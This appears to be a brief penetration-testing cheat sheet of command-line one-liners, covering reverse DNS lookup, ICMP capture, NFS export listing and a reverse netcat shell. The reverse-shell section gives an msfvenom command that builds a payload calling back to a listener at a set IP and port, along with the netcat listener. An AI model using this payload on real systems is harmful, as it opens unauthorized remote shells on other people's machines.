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Authors: fire1ce | Created: 2021-09-02 | Last update: 2026-07-14

CLI Commands Collation

A running collection of handy one-liners we reach for during penetration tests and network troubleshooting. Replace the example IPs and interfaces with your own.

Find PTR Owner - Reverse Lookup

Query the PTR/NS records for a reverse DNS zone:

dig 0.168.192.in-addr.arpa. NS

Listen for Ping/ICMP on Interface

Capture only ICMP traffic on a given interface:

sudo tcpdump ip proto \\icmp -i eth0

Reverse Netcat Shell

Generate the payload (R = raw, no encoding or format wrapper):

msfvenom -p cmd/unix/reverse_netcat lhost=10.11.19.49 lport=4444 R

Start the listener:

nc -lvp 4444

NFS Show Mount

List the NFS exports a host is offering:

showmount -e 10.10.87.232

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